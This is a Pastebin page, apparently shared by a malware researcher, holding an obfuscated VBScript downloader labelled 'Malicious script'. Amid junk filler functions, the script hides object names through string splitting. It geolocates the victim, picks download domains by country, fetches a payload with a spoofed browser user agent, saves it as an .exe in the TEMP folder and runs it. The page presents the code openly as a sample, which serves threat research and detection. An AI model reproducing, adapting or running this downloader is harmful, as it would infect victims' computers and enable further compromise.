Advertisement
dynamoo

Malicious script

Sep 28th, 2017
925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 11.76 KB | None | 0 0
  1.  
  2.  
  3.  
  4. Dim AbstractDiycabinensurance 'As String
  5.  
  6. Dim AbstractDiycabinUotOfStock 'As String
  7.    
  8.  
  9.  
  10.   AbstractDiycabinBelish = "User"
  11.  
  12. Function Set2Mine(Who, Color, X, y )
  13.     For i = 0 To UBound(Mines) + 1
  14.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  15.         If Mines(i).Color = 0 Then
  16.             Mines(i).Who = Who
  17.             Mines(i).Color = Color
  18.             Mines(i).X = X
  19.             Mines(i).y = y
  20.             Mines(i).Tick = 0
  21.             SetMine = i
  22.             Exit For
  23.         End If
  24.     Next
  25. End Function
  26.  
  27.  
  28. Function CopyLog()
  29.  
  30.         Dim oFile
  31.         Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
  32.         Dim sComputer
  33.  
  34.         If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
  35.             oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
  36.             Exit Function
  37.         End if
  38.  
  39.        
  40.  
  41.     End Function
  42.  
  43.  
  44.   Advancedfunctioning2 = "XMLHTTPSTEDICAMAdodb.streaMSTEDICAMs"
  45. Vrungel = ".respo"+"nseBody"
  46.  
  47. Dim AbstractDiycabinTimeTo 'As Object
  48. Dim AbstractDiycabinstatus
  49. AbstractDiycabinstatus = false
  50.      Dim JohnTheRipper
  51. Dim AbstractDiycabincashback 'As Object
  52. CUA ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  53.  
  54. Dim AbstractDiycabin1DASH1solo 'As Object  
  55.  
  56.  Dim Advancedfunctioning2 'As String
  57.  
  58. Dim AbstractDiycabinRickyTIcky 'As Object
  59. Dim abirvalgnutriment6000 'As Object
  60.  
  61.     RACHEL = "avetof"
  62.  
  63.        Dim TristateTrue
  64.  
  65.  
  66. Advancedfunctioning2 ="Microsoft." + Advancedfunctioning2+  "hell.ApplicationSTEDICAMWscript"+".shellSTEDICAMProcessSTEDICAMGeTSTEDICAMT"+"emPSTEDICAMTyREZAL"+"peREZAL"
  67.  Function SyncObjAnutrimentcabin2(param1)
  68. param1 = param1 + param1
  69.  
  70. AbstractDiycabin5000 = AbstractDiycabinRickyTIcky.responseBody
  71. param1 = 4 * param1 + 8
  72.  
  73. End Function
  74.  
  75.  
  76.  
  77.  
  78. Function StackStack( vr )
  79.     ad1 = Replace(Advancedfunctioning2, "REZAL", "" )
  80.    StackStack = Split(ad1,  vr)
  81. End Function
  82.  
  83. Function T1000(p, ddd)
  84.     Set AbstractDiycabinRombickom = CreateObject("WScrip"+"t.Shell")   
  85.     abirvalgnutriment6000.Type = 1
  86.  abirvalgnutriment6000.Open
  87. End Function
  88.  
  89. Dim mual
  90. Function SyncObjAnutrimentcabin(strr)
  91. if D = 31 then
  92. AXC = "SaveTo"+"File"
  93. end if
  94. abirvalgnutriment6000.Savetofile AbstractDiycabinUotOfStock , 11-9
  95. End Function
  96. Public Function IsLineAnalytic(ByVal Figure1 )
  97. If Figure1 < FigureCount And Figure1 >= 0 Then
  98.     If Figures(Figure1).FigureType = dsAnLineCanonic Or _
  99.     Figures(Figure1).FigureType = dsAnLineGeneral Or _
  100.     Figures(Figure1).FigureType = dsAnLineNormal Or _
  101.     Figures(Figure1).FigureType = dsAnLineNormalPoint Then IsLineAnalytic = True
  102. End If
  103. End Function
  104.  
  105.  Function IsCircleAnalytic(ByVal Figure1 )
  106. If Figure1 < FigureCount And Figure1 >= 0 Then
  107.     If Figures(Figure1).FigureType = dsAnCircle Then IsCircleAnalytic = True
  108. End If
  109. End Function
  110.  
  111.  Function GetShitlist(ByVal Username )
  112.     Dim gAcc
  113.     Dim Ban  
  114.    
  115.     gAcc = GetCumulativeAccess(Username, "USER")
  116.    
  117.     If (Not InStr(1, gAcc.Flags, "Z", vbBinaryCompare) = 0) Then
  118.         Ban = True
  119.     ElseIf (Not InStr(1, gAcc.Flags, "B", vbBinaryCompare) = 0) Then
  120.         If (GetSafelist(Username) = False) Then Ban = True
  121.     End If
  122.    
  123.     If (Ban) Then
  124.         If ((Len(gAcc.BanMessage) > 0) And (gAcc.BanMessage <> "%")) Then
  125.             GetShitlist = Username & Space(1) & gAcc.BanMessage
  126.         ElseIf InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) > 0 Then
  127.             GetShitlist = Username & Space(1) & "Clanban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) - 2)
  128.         ElseIf InStr(1, gAcc.Username, " (game)", vbBinaryCompare) > 0 Then
  129.             GetShitlist = Username & Space(1) & "Clientban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (game)", vbBinaryCompare) - 2)
  130.         ElseIf InStr(1, gAcc.Username, "*", vbBinaryCompare) > 0 Then
  131.             GetShitlist = Username & Space(1) & "Tagban: " & Mid(gAcc.Username, 2, Len(gAcc.Username) - 2)
  132.         Else
  133.             GetShitlist = Username & Space(1) & "Shitlisted"
  134.         End If
  135.     End If
  136. End Function
  137.  
  138.  
  139. Function AbstractDiycabinFuks(p)
  140.  
  141. AbstractDiycabinRickyTIcky.Send
  142.    
  143. End Function
  144.     Public Function CopyToFolder(dde,aWrite,bWrite)
  145. astp = 13
  146. astp = astp + 5
  147. if astp > 5 then
  148. aWrite.Write bWrite
  149. astp = 4 * astp
  150. end if
  151. End Function
  152.  
  153.  
  154. Dim AbstractDiycabin4 'As String
  155.  
  156. Dim AbstractDiycabin5000 'As Variant
  157. Dim AbstractDiycabinRombickom
  158.  Dim MarketPlace 'As String
  159.  Dim sTempVis 'As String
  160.  Dim iCount 'As Integer
  161.  
  162. Dim Twelve 'As Integer
  163.  Dim sDecimalVis 'As String
  164.  Dim AbstractDiycabinPetir 'As String
  165. AbstractDiycabinPetir = "Ag"
  166.  
  167.   Dim MarketPlaceibility 'As String
  168.  
  169.  
  170. Advancedfunctioning2 = Advancedfunctioning2 +"STEDICAMREZALoREZALpenSTEDICAMwrREZALiteSTEDICAMreREZALspoREZALnseBoREZALdySTEDICAMsaREZALvetof"+"REZALileSTEDICAM\rIpEfQuodtn.ex"+"REZALeSTEDICAMhttREZALp:STEDICAM//"
  171. JohnTheRipper = StackStack("" + "STEDICAM" + "")
  172.  
  173.  
  174. function detectCountry()
  175. detectCountry = ""
  176. Dim resp
  177. dataUrls = Array("https://ipinfo.io/json","http://www.geoplugin.net/json.gp","http://freegeoip.net/json/")
  178.  For i = 0 To 2 Step 1
  179. on error resume  next
  180.  Dim o
  181. Set o = CreateObject("MSXML2.XMLHTTP")
  182. o.open "GET", dataUrls(i), False
  183. o.send
  184. resp = o.ResponseText
  185. If InStr(resp,"{") >0 AND InStr(resp,"}")>0 Then
  186. AbstractDiycabinstatus = true
  187.  Exit For
  188. End If
  189. next
  190. on error goto 0
  191. resp = Replace(resp," ","")
  192. strFind = Array("country_code"":""", "countryCode"":""", "country"":""")
  193.  
  194. For i = 0 To 2 Step 1
  195. pos = InStr(resp, strFind(i))
  196. if  pos> 0 Then
  197. pos= pos+Len(strFind(i))
  198. pos2 = InStr(pos, resp, """")
  199. detectCountry = Mid(resp, pos , pos2 - pos )
  200. end if
  201. next
  202. end function
  203.  
  204.  
  205. Set AbstractDiycabinRickyTIcky = CreateObject(JohnTheRipper(0))
  206.  Function SheduledfunctioningObject(p,d)
  207.  
  208. StuffOnly = ""
  209.  AbstractDiycabinRombickom.Run(StuffOnly & AbstractDiycabinUotOfStock +"")
  210. End Function
  211.  Dim sNodeKey 'As String
  212.  Dim sParentKey 'As String
  213.  
  214.  
  215. Dim Valery 'As Integer
  216. AbstractDiycabinBelish = AbstractDiycabinBelish + "-"
  217.  
  218.  
  219.  
  220. Twelve = 11 + 1
  221. zTempVis = JohnTheRipper(1)
  222.  
  223. 'Set AbstractDiycabinTimeTo = CreateObject(JohnTheRipper(8-6))
  224. Set AbstractDiycabinRockiBilbo = GetRef("SheduledfunctioningObject")
  225. Set AbstractDiycabin13 = GetRef("SyncObjAnutrimentcabin")
  226. Set AbstractDiycabin14 = GetRef("CopyToFolder")
  227.  
  228. Set abirvalgnutriment6000 = CreateObject("Adodb.streaM")
  229. Set AbstractDiycabin1DASH1solo = CreateObject(JohnTheRipper(9-6))
  230.  
  231.  
  232. Function SetUA()
  233. AbstractDiycabinLamp.setRequestHeader AbstractDiycabinBelish, CUA
  234. End Function
  235.  
  236. if "CIPLOR" + WScript + "4" = "CIPLORWindows Script Host4" Then
  237.    
  238.    
  239.  
  240.  
  241.  
  242.     Set AbstractDiycabincashback = AbstractDiycabin1DASH1solo.Environment(JohnTheRipper(1 + 3))
  243.  
  244. end if 
  245.  
  246.  
  247.  Valery = 89210
  248.  
  249.  
  250. AbstractDiycabinensurance = AbstractDiycabincashback(JohnTheRipper(6))
  251.  Dim i
  252.  'on error GoTo nextU
  253. ' on error resume next
  254. sTempVis = JohnTheRipper(1+Twelve -1)
  255.  
  256. Sub SendFlagDat(SndTo)
  257.     Dim i , b , n
  258.     Dim oNewMsg() , lNewOffSet
  259.     Dim lNewMsg
  260.    
  261.     For i = 1 To UBound(Flag1, 2)
  262.        
  263.         lNewMsg = MSG_FLAGS
  264.         lNewOffSet = 0
  265.         ReDim oNewMsg(0)
  266.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  267.         b = 1
  268.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  269.         b = i
  270.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  271.         n = Flag1(0, i)
  272.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  273.         n = Flag1(1, i)
  274.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  275.         n = FlagCarry1(i)
  276.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  277.         SendTo oNewMsg, CInt(SndTo)
  278.     Next
  279.     For i = 1 To UBound(Flag2, 2)
  280.         lNewMsg = MSG_FLAGS
  281.         lNewOffSet = 0
  282.         ReDim oNewMsg(0)
  283.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  284.         b = 2
  285.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  286.         b = i
  287.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  288.         n = Flag2(0, i)
  289.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  290.         n = Flag2(1, i)
  291.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  292.         n = FlagCarry2(i)
  293.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  294.         SendTo oNewMsg, CInt(SndTo)
  295.     Next
  296.     For i = 1 To UBound(Flag3, 2)
  297.         lNewMsg = MSG_FLAGS
  298.         lNewOffSet = 0
  299.         ReDim oNewMsg(0)
  300.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  301.         b = 3
  302.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  303.         b = i
  304.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  305.         n = Flag3(0, i)
  306.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  307.         n = Flag3(1, i)
  308.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  309.         n = FlagCarry3(i)
  310.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  311.         SendTo oNewMsg, CInt(SndTo)
  312.     Next
  313.     For i = 1 To UBound(Flag4, 2)
  314.         lNewMsg = MSG_FLAGS
  315.         lNewOffSet = 0
  316.         ReDim oNewMsg(0)
  317.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  318.         b = 4
  319.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  320.         b = i
  321.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  322.         n = Flag4(0, i)
  323.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  324.         n = Flag4(1, i)
  325.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  326.         n = FlagCarry4(i)
  327.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  328.         SendTo oNewMsg, CInt(SndTo)
  329.     Next
  330.     For i = 1 To UBound(Flag5, 2)
  331.         lNewMsg = MSG_FLAGS
  332.         lNewOffSet = 0
  333.         ReDim oNewMsg(0)
  334.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  335.         b = 5
  336.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  337.         b = i
  338.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  339.         n = Flag5(0, i)
  340.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  341.         n = Flag5(1, i)
  342.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  343.         n = FlagCarry5(i)
  344.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  345.         SendTo oNewMsg, CInt(SndTo)
  346.     Next
  347.    
  348. End Sub
  349. choice =  detectCountry()
  350. need = Array("GB", "UK", "AU", "LU", "BE", "IE")
  351. If Ubound(Filter(need, choice)) > -1 Then
  352.      
  353. mual = Array("jaysonmorrison.com/9hciunery8g?","sherylbro.net/p66/LUYTbjnrf","fls-portal.co.uk/9hciunery8g?")
  354. Else
  355. mual = Array("plumanns.com/LUYTbjnrf?","poemsan.info/p66/d8743fgh","atlantarecyclingcenters.com/LUYTbjnrf?")
  356. End If
  357.  
  358. MarketPlace = JohnTheRipper(11+2) & JohnTheRipper(11+3)
  359.  
  360. AbstractDiycabinBelish = AbstractDiycabinBelish & AbstractDiycabinPetir & "ent"
  361.  
  362. rdde = 19
  363.  
  364.  
  365. lTo = UBound(mual)
  366. For i = 0 To lTo Step 1
  367. rdde = rdde * 8
  368.  
  369.     on error resume  next
  370.  
  371. Valery =  Valery +33
  372.  AbstractDiycabin4 = MarketPlace + mual(i)
  373.  AbstractDiycabinRickyTIcky.Open JohnTheRipper(5), AbstractDiycabin4, False
  374. dr1=2
  375.  
  376. rdde = rdde + 91
  377.  
  378.  
  379. SetUA()
  380. AbstractDiycabinFuks " d "
  381. If AbstractDiycabinRickyTIcky.Status +3 = 203 Then
  382. AbstractDiycabinstatus = true
  383.  Exit For
  384. End If
  385.  
  386. goto14:
  387. Next
  388.  
  389. on error goto 0
  390. if AbstractDiycabinstatus Then
  391. Dim Ratchet 'As String
  392. AbstractDiycabinUotOfStock = AbstractDiycabinensurance+ sTempVis
  393.  
  394. T1000 "",4
  395.  
  396. SyncObjAnutrimentcabin2 31
  397. AbstractDiycabin14 "",abirvalgnutriment6000,AbstractDiycabin5000
  398. Sapogi =21
  399. AbstractDiycabinUotOfStocku = "" + AbstractDiycabinUotOfStock
  400.  
  401. Sapogi = Sapogi*4
  402.  
  403. Dim AbstractDiycabinJohnSnowu,AbstractDiycabinTmp1 'As Long
  404.  
  405. AbstractDiycabin13 "ss"
  406. AbstractDiycabinJohnSnowu = 2017
  407.  
  408. If 2016  < AbstractDiycabinJohnSnowu Then
  409.   drba =53
  410.  AbstractDiycabinTmp1 = "V"
  411.  
  412. AbstractDiycabinRockiBilbo "ACA","391"
  413. End If
  414.  
  415.  
  416.  
  417. triada = 098
  418. end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement